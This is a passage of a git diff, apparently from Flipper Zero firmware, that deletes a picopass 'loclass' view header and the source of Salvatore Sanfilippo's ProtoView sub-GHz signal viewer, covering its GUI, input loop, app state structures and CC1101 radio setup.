a/applications/external/picopass/views/loclass.h +++ /dev/null @@ -1,22 +0,0 @@ -#pragma once -#include -#include -#include - -typedef struct Loclass Loclass; - -typedef void (*LoclassCallback)(void* context); - -Loclass* loclass_alloc(); - -void loclass_free(Loclass* loclass); - -void loclass_reset(Loclass* loclass); - -View* loclass_get_view(Loclass* loclass); - -void loclass_set_callback(Loclass* loclass, LoclassCallback callback, void* context); - -void loclass_set_header(Loclass* loclass, const char* header); - -void loclass_set_num_macs(Loclass* loclass, uint16_t num_macs); diff --git a/applications/external/protoview/LICENSE b/applications/external/protoview/LICENSE deleted file mode 100644 index 2d8a8a74d..000000000 --- a/applications/external/protoview/LICENSE +++ /dev/null @@ -1,24 +0,0 @@ -Copyright (c) 2022-2023 Salvatore Sanfilippo - -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/applications/external/protoview/app.c b/applications/external/protoview/app.c deleted file mode 100644 index 868ec8f16..000000000 --- a/applications/external/protoview/app.c +++ /dev/null @@ -1,400 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -RawSamplesBuffer *RawSamples, *DetectedSamples; -extern const SubGhzProtocolRegistry protoview_protocol_registry; - -/* Draw some text with a border. If the outside color is black and the inside - * color is white, it just writes the border of the text, but the function can - * also be used to write a bold variation of the font setting both the - * colors to black, or alternatively to write a black text with a white - * border so that it is visible if there are black stuff on the background. */ -/* The callback actually just passes the control to the actual active - * view callback, after setting up basic stuff like cleaning the screen - * and setting color to black. */ -static void render_callback(Canvas* const canvas, void* ctx) { - ProtoViewApp* app = ctx; - furi_mutex_acquire(app->view_updating_mutex, FuriWaitForever); - - /* Clear screen. */ - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 0, 0, 127, 63); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - - /* Call who is in charge right now. */ - switch(app->current_view) { - case ViewRawPulses: - render_view_raw_pulses(canvas, app); - break; - case ViewInfo: - render_view_info(canvas, app); - break; - case ViewFrequencySettings: - case ViewModulationSettings: - render_view_settings(canvas, app); - break; - case ViewDirectSampling: - render_view_direct_sampling(canvas, app); - break; - case ViewBuildMessage: - render_view_build_message(canvas, app); - break; - default: - furi_crash(TAG "Invalid view selected"); - break; - } - - /* Draw the alert box if set. */ - ui_draw_alert_if_needed(canvas, app); - furi_mutex_release(app->view_updating_mutex); -} - -/* Here all we do is putting the events into the queue that will be handled - * in the while() loop of the app entry point function. */ -static void input_callback(InputEvent* input_event, void* ctx) { - ProtoViewApp* app = ctx; - furi_message_queue_put(app->event_queue, input_event, FuriWaitForever); -} - -/* Called to switch view (when left/right is pressed). Handles - * changing the current view ID and calling the enter/exit view - * callbacks if needed. - * - * The 'switchto' parameter can be the identifier of a view, or the - * special views ViewGoNext and ViewGoPrev in order to move to - * the logical next/prev view. */ -static void app_switch_view(ProtoViewApp* app, ProtoViewCurrentView switchto) { - furi_mutex_acquire(app->view_updating_mutex, FuriWaitForever); - - /* Switch to the specified view. */ - ProtoViewCurrentView old = app->current_view; - if(switchto == ViewGoNext) { - app->current_view++; - if(app->current_view == ViewLast) app->current_view = 0; - } else if(switchto == ViewGoPrev) { - if(app->current_view == 0) - app->current_view = ViewLast - 1; - else - app->current_view--; - } else { - app->current_view = switchto; - } - ProtoViewCurrentView new = app->current_view; - - /* Call the exit view callbacks. */ - if(old == ViewDirectSampling) view_exit_direct_sampling(app); - if(old == ViewBuildMessage) view_exit_build_message(app); - if(old == ViewInfo) view_exit_info(app); - /* The frequency/modulation settings are actually a single view: - * as long as the user stays between the two modes of this view we - * don't need to call the exit-view callback. */ - if((old == ViewFrequencySettings && new != ViewModulationSettings) || - (old == ViewModulationSettings && new != ViewFrequencySettings)) - view_exit_settings(app); - - /* Reset the view private data each time, before calling the enter - * callbacks that may want to setup some state. */ - memset(app->view_privdata, 0, PROTOVIEW_VIEW_PRIVDATA_LEN); - - /* Call the enter view callbacks after all the exit callback - * of the old view was already executed. */ - if(new == ViewDirectSampling) view_enter_direct_sampling(app); - if(new == ViewBuildMessage) view_enter_build_message(app); - - /* Set the current subview of the view we just left to zero. This is - * the main subview of the old view. When we re-enter the view we are - * lefting, we want to see the main thing again. */ - app->current_subview[old] = 0; - - /* If there is an alert on screen, dismiss it: if the user is - * switching view she already read it. */ - ui_dismiss_alert(app); - furi_mutex_release(app->view_updating_mutex); -} - -/* Allocate the application state and initialize a number of stuff. - * This is called in the entry point to create the application state. */ -ProtoViewApp* protoview_app_alloc() { - furi_hal_power_suppress_charge_enter(); - - ProtoViewApp* app = malloc(sizeof(ProtoViewApp)); - - // Init shared data structures - RawSamples = raw_samples_alloc(); - DetectedSamples = raw_samples_alloc(); - - //init setting - app->setting = subghz_setting_alloc(); - subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user")); - - // GUI - app->gui = furi_record_open(RECORD_GUI); - app->notification = furi_record_open(RECORD_NOTIFICATION); - app->view_port = view_port_alloc(); - view_port_draw_callback_set(app->view_port, render_callback, app); - view_port_input_callback_set(app->view_port, input_callback, app); - gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); - app->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - app->view_dispatcher = NULL; - app->text_input = NULL; - app->show_text_input = false; - app->alert_dismiss_time = 0; - app->current_view = ViewRawPulses; - app->view_updating_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - for(int j = 0; j < ViewLast; j++) app->current_subview[j] = 0; - app->direct_sampling_enabled = false; - app->view_privdata = malloc(PROTOVIEW_VIEW_PRIVDATA_LEN); - memset(app->view_privdata, 0, PROTOVIEW_VIEW_PRIVDATA_LEN); - - // Signal found and visualization defaults - app->signal_bestlen = 0; - app->signal_last_scan_idx = 0; - app->signal_decoded = false; - app->us_scale = PROTOVIEW_RAW_VIEW_DEFAULT_SCALE; - app->signal_offset = 0; - app->msg_info = NULL; - - // Init Worker & Protocol - app->txrx = malloc(sizeof(ProtoViewTxRx)); - - /* Setup rx state. */ - app->txrx->freq_mod_changed = false; - app->txrx->debug_timer_sampling = false; - app->txrx->last_g0_change_time = DWT->CYCCNT; - app->txrx->last_g0_value = false; - - app->frequency = subghz_setting_get_default_frequency(app->setting); - app->modulation = 0; /* Defaults to ProtoViewModulations[0]. */ - - // Init & set radio_device - subghz_devices_init(); - app->radio_device = - radio_device_loader_set(app->radio_device, SubGhzRadioDeviceTypeExternalCC1101); - - subghz_devices_reset(app->radio_device); - subghz_devices_idle(app->radio_device); - - app->running = 1; - - return app; -} - -/* Free what the application allocated. It is not clear to me if the - * Flipper OS, once the application exits, will be able to reclaim space - * even if we forget to free something here. */ -void protoview_app_free(ProtoViewApp* app) { - furi_assert(app); - - subghz_devices_sleep(app->radio_device); - radio_device_loader_end(app->radio_device); - - subghz_devices_deinit(); - - // View related. - view_port_enabled_set(app->view_port, false); - gui_remove_view_port(app->gui, app->view_port); - view_port_free(app->view_port); - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - furi_message_queue_free(app->event_queue); - furi_mutex_free(app->view_updating_mutex); - app->gui = NULL; - - // Frequency setting. - subghz_setting_free(app->setting); - - // Worker stuff. - free(app->txrx); - - // Raw samples buffers. - raw_samples_free(RawSamples); - raw_samples_free(DetectedSamples); - furi_hal_power_suppress_charge_exit(); - - free(app); -} - -/* Called periodically. Do signal processing here. Data we process here - * will be later displayed by the render callback. The side effect of this - * function is to scan for signals and set DetectedSamples. */ -static void timer_callback(void* ctx) { - ProtoViewApp* app = ctx; - uint32_t delta, lastidx = app->signal_last_scan_idx; - - /* scan_for_signal(), called by this function, deals with a - * circular buffer. To never miss anything, even if a signal spawns - * cross-boundaries, it is enough if we scan each time the buffer fills - * for 50% more compared to the last scan. Thanks to this check we - * can avoid scanning too many times to just find the same data. */ - if(lastidx < RawSamples->idx) { - delta = RawSamples->idx - lastidx; - } else { - delta = RawSamples->total - lastidx + RawSamples->idx; - } - if(delta < RawSamples->total / 2) return; - app->signal_last_scan_idx = RawSamples->idx; - scan_for_signal(app, RawSamples, ProtoViewModulations[app->modulation].duration_filter); -} - -/* This is the navigation callback we use in the view dispatcher used - * to display the "text input" widget, that is the keyboard to get text. - * The text input view is implemented to ignore the "back" short press, - * so the event is not consumed and is handled by the view dispatcher. - * However the view dispatcher implementation has the strange behavior that - * if no navigation callback is set, it will not stop when handling back. - * - * We just need a dummy callback returning false. We believe the - * implementation should be changed and if no callback is set, it should be - * the same as returning false. */ -static bool keyboard_view_dispatcher_navigation_callback(void* ctx) { - UNUSED(ctx); - return false; -} - -/* App entry point, as specified in application.fam. */ -int32_t protoview_app_entry(void* p) { - UNUSED(p); - ProtoViewApp* app = protoview_app_alloc(); - - /* Create a timer. We do data analysis in the callback. */ - FuriTimer* timer = furi_timer_alloc(timer_callback, FuriTimerTypePeriodic, app); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 8); - - /* Start listening to signals immediately. */ - radio_begin(app); - radio_rx(app); - - /* This is the main event loop: here we get the events that are pushed - * in the queue by input_callback(), and process them one after the - * other. The timeout is 100 milliseconds, so if not input is received - * before such time, we exit the queue_get() function and call - * view_port_update() in order to refresh our screen content. */ - InputEvent input; - while(app->running) { - FuriStatus qstat = furi_message_queue_get(app->event_queue, &input, 100); - if(qstat == FuriStatusOk) { - if(DEBUG_MSG) - FURI_LOG_E(TAG, "Main Loop - Input: type %d key %u", input.type, input.key); - - /* Handle navigation here. Then handle view-specific inputs - * in the view specific handling function. */ - if(input.type == InputTypeShort && input.key == InputKeyBack) { - if(app->current_view != ViewRawPulses) { - /* If this is not the main app view, go there. */ - app_switch_view(app, ViewRawPulses); - } else { - /* If we are in the main app view, warn the user - * they needs to long press to really quit. */ - ui_show_alert(app, "Long press to exit", 1000); - } - } else if(input.type == InputTypeLong && input.key == InputKeyBack) { - app->running = 0; - } else if( - input.type == InputTypeShort && input.key == InputKeyRight && - ui_get_current_subview(app) == 0) { - /* Go to the next view. */ - app_switch_view(app, ViewGoNext); - } else if( - input.type == InputTypeShort && input.key == InputKeyLeft && - ui_get_current_subview(app) == 0) { - /* Go to the previous view. */ - app_switch_view(app, ViewGoPrev); - } else { - /* This is where we pass the control to the currently - * active view input processing. */ - switch(app->current_view) { - case ViewRawPulses: - process_input_raw_pulses(app, input); - break; - case ViewInfo: - process_input_info(app, input); - break; - case ViewFrequencySettings: - case ViewModulationSettings: - process_input_settings(app, input); - break; - case ViewDirectSampling: - process_input_direct_sampling(app, input); - break; - case ViewBuildMessage: - process_input_build_message(app, input); - break; - default: - furi_crash(TAG "Invalid view selected"); - break; - } - } - } else { - /* Useful to understand if the app is still alive when it - * does not respond because of bugs. */ - if(DEBUG_MSG) { - static int c = 0; - c++; - if(!(c % 20)) FURI_LOG_E(TAG, "Loop timeout"); - } - } - if(app->show_text_input) { - /* Remove our viewport: we need to use a view dispatcher - * in order to show the standard Flipper keyboard. */ - gui_remove_view_port(app->gui, app->view_port); - - /* Allocate a view dispatcher, add a text input view to it, - * and activate it. */ - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - /* We need to set a navigation callback for the view dispatcher - * otherwise when the user presses back on the keyboard to - * abort, the dispatcher will not stop. */ - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, keyboard_view_dispatcher_navigation_callback); - app->text_input = text_input_alloc(); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_add_view( - app->view_dispatcher, 0, text_input_get_view(app->text_input)); - view_dispatcher_switch_to_view(app->view_dispatcher, 0); - - /* Setup the text input view. The different parameters are set - * in the app structure by the view that wanted to show the - * input text. The callback, buffer and buffer len must be set. */ - text_input_set_header_text(app->text_input, "Save signal filename"); - text_input_set_result_callback( - app->text_input, - app->text_input_done_callback, - app, - app->text_input_buffer, - app->text_input_buffer_len, - false); - - /* Run the dispatcher with the keyboard. */ - view_dispatcher_attach_to_gui( - app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - view_dispatcher_run(app->view_dispatcher); - - /* Undo all it: remove the view from the dispatcher, free it - * so that it removes itself from the current gui, finally - * restore our viewport. */ - view_dispatcher_remove_view(app->view_dispatcher, 0); - text_input_free(app->text_input); - view_dispatcher_free(app->view_dispatcher); - app->view_dispatcher = NULL; - gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); - app->show_text_input = false; - } else { - view_port_update(app->view_port); - } - } - - /* App no longer running. Shut down and free. */ - if(app->txrx->txrx_state == TxRxStateRx) { - FURI_LOG_E(TAG, "Putting CC1101 to sleep before exiting."); - radio_rx_end(app); - radio_sleep(app); - } - - furi_timer_free(timer); - protoview_app_free(app); - return 0; -} diff --git a/applications/external/protoview/app.h b/applications/external/protoview/app.h deleted file mode 100644 index 5fb0adf34..000000000 --- a/applications/external/protoview/app.h +++ /dev/null @@ -1,377 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#pragma once - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "raw_samples.h" -#include "helpers/radio_device_loader.h" - -#define TAG "ProtoView" -#define PROTOVIEW_RAW_VIEW_DEFAULT_SCALE 100 // 100us is 1 pixel by default -#define BITMAP_SEEK_NOT_FOUND UINT32_MAX // Returned by function as sentinel -#define PROTOVIEW_VIEW_PRIVDATA_LEN 64 // View specific private data len - -#define DEBUG_MSG 0 - -/* Forward declarations. */ - -typedef struct ProtoViewApp ProtoViewApp; -typedef struct ProtoViewMsgInfo ProtoViewMsgInfo; -typedef struct ProtoViewFieldSet ProtoViewFieldSet; -typedef struct ProtoViewDecoder ProtoViewDecoder; - -/* ============================== enumerations ============================== */ - -/* Subghz system state */ -typedef enum { - TxRxStateIDLE, - TxRxStateRx, - TxRxStateTx, - TxRxStateSleep, -} TxRxState; - -/* Currently active view. */ -typedef enum { - ViewRawPulses, - ViewInfo, - ViewFrequencySettings, - ViewModulationSettings, - ViewBuildMessage, - ViewDirectSampling, - ViewLast, /* Just a sentinel to wrap around. */ - - /* The following are special views that are not iterated, but - * have meaning for the API. */ - ViewGoNext, - ViewGoPrev, -} ProtoViewCurrentView; - -/* ================================== RX/TX ================================= */ - -typedef struct { - const char* name; // Name to show to the user. - const char* id; // Identifier in the Flipper API/file. - FuriHalSubGhzPreset preset; // The preset ID. - uint8_t* custom; /* If not null, a set of registers for - the CC1101, specifying a custom preset.*/ - uint32_t duration_filter; /* Ignore pulses and gaps that are less - than the specified microseconds. This - depends on the data rate. */ -} ProtoViewModulation; - -extern ProtoViewModulation ProtoViewModulations[]; /* In app_subghz.c */ - -/* This is the context of our subghz worker and associated thread. - * It receives data and we get our protocol "feed" callback called - * with the level (1 or 0) and duration. */ -struct ProtoViewTxRx { - bool freq_mod_changed; /* The user changed frequency and/or modulation - from the interface. There is to restart the - radio with the right parameters. */ - TxRxState txrx_state; /* Receiving, idle or sleeping? */ - - /* Timer sampling mode state. */ - bool debug_timer_sampling; /* Read data from GDO0 in a busy loop. Only - for testing. */ - uint32_t last_g0_change_time; /* Last high->low (or reverse) switch. */ - bool last_g0_value; /* Current value (high or low): we are - checking the duration in the timer - handler. */ -}; - -typedef struct ProtoViewTxRx ProtoViewTxRx; - -/* ============================== Main app state ============================ */ - -#define ALERT_MAX_LEN 32 -struct ProtoViewApp { - /* GUI */ - Gui* gui; - NotificationApp* notification; - ViewPort* view_port; /* We just use a raw viewport and we render - everything into the low level canvas. */ - ProtoViewCurrentView current_view; /* Active left-right view ID. */ - FuriMutex* view_updating_mutex; /* The Flipper GUI calls the screen redraw - callback in a different thread. We - use this mutex to protect the redraw - from changes in app->view_privdata. */ - int current_subview[ViewLast]; /* Active up-down subview ID. */ - FuriMessageQueue* event_queue; /* Keypress events go here. */ - - /* Input text state. */ - ViewDispatcher* view_dispatcher; /* Used only when we want to show - the text_input view for a moment. - Otherwise it is set to null. */ - TextInput* text_input; - bool show_text_input; - char* text_input_buffer; - uint32_t text_input_buffer_len; - void (*text_input_done_callback)(void*); - - /* Alert state. */ - uint32_t alert_dismiss_time; /* Millisecond when the alert will be - no longer shown. Or zero if the alert - is currently not set at all. */ - char alert_text[ALERT_MAX_LEN]; /* Alert content. */ - - /* Radio related. */ - ProtoViewTxRx* txrx; /* Radio state. */ - SubGhzSetting* setting; /* A list of valid frequencies. */ - - const SubGhzDevice* radio_device; - - /* Generic app state. */ - int running; /* Once false exists the app. */ - uint32_t signal_bestlen; /* Longest coherent signal observed so far. */ - uint32_t signal_last_scan_idx; /* Index of the buffer last time we - performed the scan. */ - bool signal_decoded; /* Was the current signal decoded? */ - ProtoViewMsgInfo* msg_info; /* Decoded message info if not NULL. */ - bool direct_sampling_enabled; /* This special view needs an explicit - acknowledge to work. */ - void* view_privdata; /* This is a piece of memory of total size - PROTOVIEW_VIEW_PRIVDATA_LEN that it is - initialized to zero when we switch to - a a new view. While the view we are using - is the same, it can be used by the view to - store any kind of info inside, just casting - the pointer to a few specific-data structure. */ - - /* Raw view apps state. */ - uint32_t us_scale; /* microseconds per pixel. */ - uint32_t signal_offset; /* Long press left/right panning in raw view. */ - - /* Configuration view app state. */ - uint32_t frequency; /* Current frequency. */ - uint8_t modulation; /* Current modulation ID, array index in the - ProtoViewModulations table. */ -}; - -/* =========================== Protocols decoders =========================== */ - -/* This stucture is filled by the decoder for specific protocols with the - * informations about the message. ProtoView will display such information - * in the message info view. */ -#define PROTOVIEW_MSG_STR_LEN 32 -typedef struct ProtoViewMsgInfo { - ProtoViewDecoder* decoder; /* The decoder that decoded the message. */ - ProtoViewFieldSet* fieldset; /* Decoded fields. */ - /* Low level information of the detected signal: the following are filled - * by the protocol decoding function: */ - uint32_t start_off; /* Pulses start offset in the bitmap. */ - uint32_t pulses_count; /* Number of pulses of the full message. */ - /* The following are passed already filled to the decoder. */ - uint32_t short_pulse_dur; /* Microseconds duration of the short pulse. */ - /* The following are filled by ProtoView core after the decoder returned - * success. */ - uint8_t* bits; /* Bitmap with the signal. */ - uint32_t bits_bytes; /* Number of full bytes in the bitmap, that - is 'pulses_count/8' rounded to the next - integer. */ -} ProtoViewMsgInfo; - -/* This structures describe a set of protocol fields. It is used by decoders - * supporting message building to receive and return information about the - * protocol. */ -typedef enum { - FieldTypeStr, - FieldTypeSignedInt, - FieldTypeUnsignedInt, - FieldTypeBinary, - FieldTypeHex, - FieldTypeBytes, - FieldTypeFloat, -} ProtoViewFieldType; - -typedef struct { - ProtoViewFieldType type; - uint32_t len; // Depends on type: - // Bits for integers (signed,unsigned,binary,hex). - // Number of characters for strings. - // Number of nibbles for bytes (1 for each 4 bits). - // Number of digits after dot for floats. - char* name; // Field name. - union { - char* str; // String type. - int64_t value; // Signed integer type. - uint64_t uvalue; // Unsigned integer type. - uint8_t* bytes; // Raw bytes type. - float fvalue; // Float type. - }; -} ProtoViewField; - -typedef struct ProtoViewFieldSet { - ProtoViewField** fields; - uint32_t numfields; -} ProtoViewFieldSet; - -typedef struct ProtoViewDecoder { - const char* name; /* Protocol name. */ - /* The decode function takes a buffer that is actually a bitmap, with - * high and low levels represented as 0 and 1. The number of high/low - * pulses represented by the bitmap is passed as the 'numbits' argument, - * while 'numbytes' represents the total size of the bitmap pointed by - * 'bits'. So 'numbytes' is mainly useful to pass as argument to other - * functions that perform bit extraction with bound checking, such as - * bitmap_get() and so forth. */ - bool (*decode)(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info); - /* This method is used by the decoder to return the fields it needs - * in order to build a new message. This way the message builder view - * can ask the user to fill the right set of fields of the specified - * type. */ - void (*get_fields)(ProtoViewFieldSet* fields); - /* This method takes the fields supported by the decoder, and - * renders a message in 'samples'. */ - void (*build_message)(RawSamplesBuffer* samples, ProtoViewFieldSet* fields); -} ProtoViewDecoder; - -extern RawSamplesBuffer *RawSamples, *DetectedSamples; - -/* app_subghz.c */ -void radio_begin(ProtoViewApp* app); -uint32_t radio_rx(ProtoViewApp* app); -void radio_idle(ProtoViewApp* app); -void radio_rx_end(ProtoViewApp* app); -void radio_sleep(ProtoViewApp* app); -void raw_sampling_worker_start(ProtoViewApp* app); -void raw_sampling_worker_stop(ProtoViewApp* app); -void radio_tx_signal(ProtoViewApp* app, FuriHalSubGhzAsyncTxCallback data_feeder, void* ctx); -void protoview_rx_callback(bool level, uint32_t duration, void* context); - -/* signal.c */ -uint32_t duration_delta(uint32_t a, uint32_t b); -void reset_current_signal(ProtoViewApp* app); -void scan_for_signal(ProtoViewApp* app, RawSamplesBuffer* source, uint32_t min_duration); -bool bitmap_get(uint8_t* b, uint32_t blen, uint32_t bitpos); -void bitmap_set(uint8_t* b, uint32_t blen, uint32_t bitpos, bool val); -void bitmap_copy( - uint8_t* d, - uint32_t dlen, - uint32_t doff, - uint8_t* s, - uint32_t slen, - uint32_t soff, - uint32_t count); -void bitmap_set_pattern(uint8_t* b, uint32_t blen, uint32_t off, const char* pat); -void bitmap_reverse_bytes_bits(uint8_t* p, uint32_t len); -bool bitmap_match_bits(uint8_t* b, uint32_t blen, uint32_t bitpos, const char* bits); -uint32_t bitmap_seek_bits( - uint8_t* b, - uint32_t blen, - uint32_t startpos, - uint32_t maxbits, - const char* bits); -bool bitmap_match_bitmap( - uint8_t* b1, - uint32_t b1len, - uint32_t b1off, - uint8_t* b2, - uint32_t b2len, - uint32_t b2off, - uint32_t cmplen); -void bitmap_to_string(char* dst, uint8_t* b, uint32_t blen, uint32_t off, uint32_t len); -uint32_t convert_from_line_code( - uint8_t* buf, - uint64_t buflen, - uint8_t* bits, - uint32_t len, - uint32_t offset, - const char* zero_pattern, - const char* one_pattern); -uint32_t convert_from_diff_manchester( - uint8_t* buf, - uint64_t buflen, - uint8_t* bits, - uint32_t len, - uint32_t off, - bool previous); -void init_msg_info(ProtoViewMsgInfo* i, ProtoViewApp* app); -void free_msg_info(ProtoViewMsgInfo* i); - -/* signal_file.c */ -bool save_signal(ProtoViewApp* app, const char* filename); - -/* view_*.c */ -void render_view_raw_pulses(Canvas* const canvas, ProtoViewApp* app); -void process_input_raw_pulses(ProtoViewApp* app, InputEvent input); -void render_view_settings(Canvas* const canvas, ProtoViewApp* app); -void process_input_settings(ProtoViewApp* app, InputEvent input); -void render_view_info(Canvas* const canvas, ProtoViewApp* app); -void process_input_info(ProtoViewApp* app, InputEvent input); -void render_view_direct_sampling(Canvas* const canvas, ProtoViewApp* app); -void process_input_direct_sampling(ProtoViewApp* app, InputEvent input); -void render_view_build_message(Canvas* const canvas, ProtoViewApp* app); -void process_input_build_message(ProtoViewApp* app, InputEvent input); -void view_enter_build_message(ProtoViewApp* app); -void view_exit_build_message(ProtoViewApp* app); -void view_enter_direct_sampling(ProtoViewApp* app); -void view_exit_direct_sampling(ProtoViewApp* app); -void view_exit_settings(ProtoViewApp* app); -void view_exit_info(ProtoViewApp* app); -void adjust_raw_view_scale(ProtoViewApp* app, uint32_t short_pulse_dur); - -/* ui.c */ -int ui_get_current_subview(ProtoViewApp* app); -void ui_show_available_subviews(Canvas* canvas, ProtoViewApp* app, int last_subview); -bool ui_process_subview_updown(ProtoViewApp* app, InputEvent input, int last_subview); -void ui_show_keyboard( - ProtoViewApp* app, - char* buffer, - uint32_t buflen, - void (*done_callback)(void*)); -void ui_dismiss_keyboard(ProtoViewApp* app); -void ui_show_alert(ProtoViewApp* app, const char* text, uint32_t ttl); -void ui_dismiss_alert(ProtoViewApp* app); -void ui_draw_alert_if_needed(Canvas* canvas, ProtoViewApp* app); -void canvas_draw_str_with_border( - Canvas* canvas, - uint8_t x, - uint8_t y, - const char* str, - Color text_color, - Color border_color); - -/* fields.c */ -void fieldset_free(ProtoViewFieldSet* fs); -ProtoViewFieldSet* fieldset_new(void); -void fieldset_add_int(ProtoViewFieldSet* fs, const char* name, int64_t val, uint8_t bits); -void fieldset_add_uint(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits); -void fieldset_add_hex(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits); -void fieldset_add_bin(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits); -void fieldset_add_str(ProtoViewFieldSet* fs, const char* name, const char* s, size_t len); -void fieldset_add_bytes( - ProtoViewFieldSet* fs, - const char* name, - const uint8_t* bytes, - uint32_t count); -void fieldset_add_float( - ProtoViewFieldSet* fs, - const char* name, - float val, - uint32_t digits_after_dot); -const char* field_get_type_name(ProtoViewField* f); -int field_to_string(char* buf, size_t len, ProtoViewField* f); -bool field_set_from_string(ProtoViewField* f, char* buf, size_t len); -bool field_incr_value(ProtoViewField* f, int incr); -void fieldset_copy_matching_fields(ProtoViewFieldSet* dst, ProtoViewFieldSet* src); -void field_set_from_field(ProtoViewField* dst, ProtoViewField* src); - -/* crc.c */ -uint8_t crc8(const uint8_t* data, size_t len, uint8_t init, uint8_t poly); -uint8_t sum_bytes(const uint8_t* data, size_t len, uint8_t init); -uint8_t xor_bytes(const uint8_t* data, size_t len, uint8_t init); diff --git a/applications/external/protoview/app_subghz.c b/applications/external/protoview/app_subghz.c deleted file mode 100644 index 204dcba0d..000000000 --- a/applications/external/protoview/app_subghz.c +++ /dev/null @@ -1,206 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" -#include "custom_presets.h" - -#include -#include -#include -#include - -void raw_sampling_timer_start(ProtoViewApp* app); -void raw_sampling_timer_stop(ProtoViewApp* app); - -ProtoViewModulation ProtoViewModulations[] = { - {"OOK 650Khz", "FuriHalSubGhzPresetOok650Async", FuriHalSubGhzPresetOok650Async, NULL, 30}, - {"OOK 270Khz", "FuriHalSubGhzPresetOok270Async", FuriHalSubGhzPresetOok270Async, NULL, 30}, - {"2FSK 2.38Khz", - "FuriHalSubGhzPreset2FSKDev238Async", - FuriHalSubGhzPreset2FSKDev238Async, - NULL, - 30}, - {"2FSK 47.6Khz", - "FuriHalSubGhzPreset2FSKDev476Async", - FuriHalSubGhzPreset2FSKDev476Async, - NULL, - 30}, - {"TPMS 1 (FSK)", NULL, 0, (uint8_t*)protoview_subghz_tpms1_fsk_async_regs, 30}, - {"TPMS 2 (OOK)", NULL, 0, (uint8_t*)protoview_subghz_tpms2_ook_async_regs, 30}, - {"TPMS 3 (GFSK)", NULL, 0, (uint8_t*)protoview_subghz_tpms3_gfsk_async_regs, 30}, - {"OOK 40kBaud", NULL, 0, (uint8_t*)protoview_subghz_40k_ook_async_regs, 15}, - {"FSK 40kBaud", NULL, 0, (uint8_t*)protoview_subghz_40k_fsk_async_regs, 15}, - {NULL, NULL, 0, NULL, 0} /* End of list sentinel. */ -}; - -/* Called after the application initialization in order to setup the - * subghz system and put it into idle state. */ -void radio_begin(ProtoViewApp* app) { - furi_assert(app); - subghz_devices_reset(app->radio_device); - subghz_devices_idle(app->radio_device); - - /* The CC1101 preset can be either one of the standard presets, if - * the modulation "custom" field is NULL, or a custom preset we - * defined in custom_presets.h. */ - if(ProtoViewModulations[app->modulation].custom == NULL) { - subghz_devices_load_preset( - app->radio_device, ProtoViewModulations[app->modulation].preset, NULL); - } else { - subghz_devices_load_preset( - app->radio_device, - FuriHalSubGhzPresetCustom, - ProtoViewModulations[app->modulation].custom); - } - furi_hal_gpio_init( - subghz_devices_get_data_gpio(app->radio_device), GpioModeInput, GpioPullNo, GpioSpeedLow); - app->txrx->txrx_state = TxRxStateIDLE; -} - -/* ================================= Reception ============================== */ - -/* We avoid the subghz provided abstractions and put the data in our - * simple abstraction: the RawSamples circular buffer. */ -void protoview_rx_callback(bool level, uint32_t duration, void* context) { - UNUSED(context); - /* Add data to the circular buffer. */ - raw_samples_add(RawSamples, level, duration); - // FURI_LOG_E(TAG, "FEED: %d %d", (int)level, (int)duration); - return; -} - -/* Setup the CC1101 to start receiving using a background worker. */ -uint32_t radio_rx(ProtoViewApp* app) { - furi_assert(app); - - if(!subghz_devices_is_frequency_valid(app->radio_device, app->frequency)) { - furi_crash(TAG " Incorrect RX frequency."); - } - - if(app->txrx->txrx_state == TxRxStateRx) return app->frequency; - - subghz_devices_idle(app->radio_device); /* Put it into idle state in case it is sleeping. */ - uint32_t value = subghz_devices_set_frequency(app->radio_device, app->frequency); - FURI_LOG_E(TAG, "Switched to frequency: %lu", value); - - 